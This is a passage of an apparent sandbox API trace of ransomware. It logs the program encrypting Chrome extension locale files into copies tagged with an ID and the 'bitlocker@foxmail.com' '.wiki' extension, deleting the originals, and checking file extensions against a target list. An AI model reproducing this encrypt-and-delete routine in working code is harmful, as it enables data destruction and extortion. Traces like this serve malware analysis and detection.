Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json")) returned 0x2020 [0176.791] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.791] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.791] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0176.792] GetLastError () returned 0x0 [0176.792] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x299, lpOverlapped=0x0) returned 1 [0176.795] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0176.796] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0176.796] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.796] SetEndOfFile (hFile=0x1a0) returned 1 [0176.796] CloseHandle (hObject=0x1a0) returned 1 [0176.796] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.797] SetEndOfFile (hFile=0x1ac) returned 1 [0176.797] CloseHandle (hObject=0x1ac) returned 1 [0176.797] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.798] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json")) returned 1 [0176.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.798] lstrlenW (lpString=".doc") returned 4 [0176.798] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.798] lstrlenW (lpString=".docx") returned 5 [0176.798] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.798] lstrlenW (lpString=".pdf") returned 4 [0176.798] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.798] lstrlenW (lpString=".xls") returned 4 [0176.798] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.798] lstrlenW (lpString=".xlsx") returned 5 [0176.798] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.798] lstrlenW (lpString=".ppt") returned 4 [0176.798] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.798] lstrlenW (lpString=".zip") returned 4 [0176.798] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.798] lstrlenW (lpString=".rar") returned 4 [0176.798] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.798] lstrlenW (lpString=".bz2") returned 4 [0176.798] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.798] lstrlenW (lpString=".7z") returned 3 [0176.798] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.799] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.799] lstrlenW (lpString=".dbf") returned 4 [0176.799] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.799] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.799] lstrlenW (lpString=".1cd") returned 4 [0176.799] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.799] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.799] lstrlenW (lpString=".jpg") returned 4 [0176.799] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.799] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.799] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.799] lstrlenW (lpString=".doc") returned 4 [0176.799] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.799] lstrlenW (lpString=".docx") returned 5 [0176.799] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.799] lstrlenW (lpString=".pdf") returned 4 [0176.799] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.799] lstrlenW (lpString=".xls") returned 4 [0176.799] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.799] lstrlenW (lpString=".xlsx") returned 5 [0176.799] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.799] lstrlenW (lpString=".ppt") returned 4 [0176.799] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.799] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.799] lstrlenW (lpString=".zip") returned 4 [0176.799] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.799] lstrlenW (lpString=".rar") returned 4 [0176.799] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.799] lstrlenW (lpString=".bz2") returned 4 [0176.799] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.800] lstrlenW (lpString=".7z") returned 3 [0176.800] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.800] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.800] lstrlenW (lpString=".dbf") returned 4 [0176.800] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.800] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.800] lstrlenW (lpString=".1cd") returned 4 [0176.800] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.800] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 151 [0176.800] lstrlenW (lpString=".jpg") returned 4 [0176.800] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.800] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.800] lstrlenW (lpString="messages.json") returned 13 [0176.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.801] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=187) returned 1 [0176.801] CloseHandle (hObject=0x1ac) returned 1 [0176.801] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json")) returned 0x2020 [0176.801] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.801] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.801] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0176.802] GetLastError () returned 0x0 [0176.802] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xbb, lpOverlapped=0x0) returned 1 [0176.803] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0176.804] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0176.804] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.804] SetEndOfFile (hFile=0x1a0) returned 1 [0176.804] CloseHandle (hObject=0x1a0) returned 1 [0176.804] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.804] SetEndOfFile (hFile=0x1ac) returned 1 [0176.805] CloseHandle (hObject=0x1ac) returned 1 [0176.805] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.805] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json")) returned 1 [0176.805] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.805] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.805] lstrlenW (lpString=".doc") returned 4 [0176.805] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.805] lstrlenW (lpString=".docx") returned 5 [0176.805] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.805] lstrlenW (lpString=".pdf") returned 4 [0176.805] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.805] lstrlenW (lpString=".xls") returned 4 [0176.805] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.806] lstrlenW (lpString=".xlsx") returned 5 [0176.806] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.806] lstrlenW (lpString=".ppt") returned 4 [0176.806] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.806] lstrlenW (lpString=".zip") returned 4 [0176.806] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.806] lstrlenW (lpString=".rar") returned 4 [0176.806] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.806] lstrlenW (lpString=".bz2") returned 4 [0176.806] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.806] lstrlenW (lpString=".7z") returned 3 [0176.806] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.806] lstrlenW (lpString=".dbf") returned 4 [0176.806] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.806] lstrlenW (lpString=".1cd") returned 4 [0176.806] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.806] lstrlenW (lpString=".jpg") returned 4 [0176.806] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.806] lstrlenW (lpString=".doc") returned 4 [0176.806] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.806] lstrlenW (lpString=".docx") returned 5 [0176.807] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.807] lstrlenW (lpString=".pdf") returned 4 [0176.807] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.807] lstrlenW (lpString=".xls") returned 4 [0176.807] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.807] lstrlenW (lpString=".xlsx") returned 5 [0176.807] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.807] lstrlenW (lpString=".ppt") returned 4 [0176.807] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.807] lstrlenW (lpString=".zip") returned 4 [0176.807] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.807] lstrlenW (lpString=".rar") returned 4 [0176.807] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.807] lstrlenW (lpString=".bz2") returned 4 [0176.807] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.807] lstrlenW (lpString=".7z") returned 3 [0176.807] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.807] lstrlenW (lpString=".dbf") returned 4 [0176.807] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.807] lstrlenW (lpString=".1cd") returned 4 [0176.807] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 151 [0176.807] lstrlenW (lpString=".jpg") returned 4 [0176.807] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.808] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.808] lstrlenW (lpString="messages.json") returned 13 [0176.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.808] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=178) returned 1 [0176.808] CloseHandle (hObject=0x1ac) returned 1 [0176.808] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json")) returned 0x2020 [0176.810] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.810] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.810] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0176.810] GetLastError () returned 0x0 [0176.810] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb2, lpOverlapped=0x0) returned 1 [0176.811] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0176.812] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0176.812] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.088] 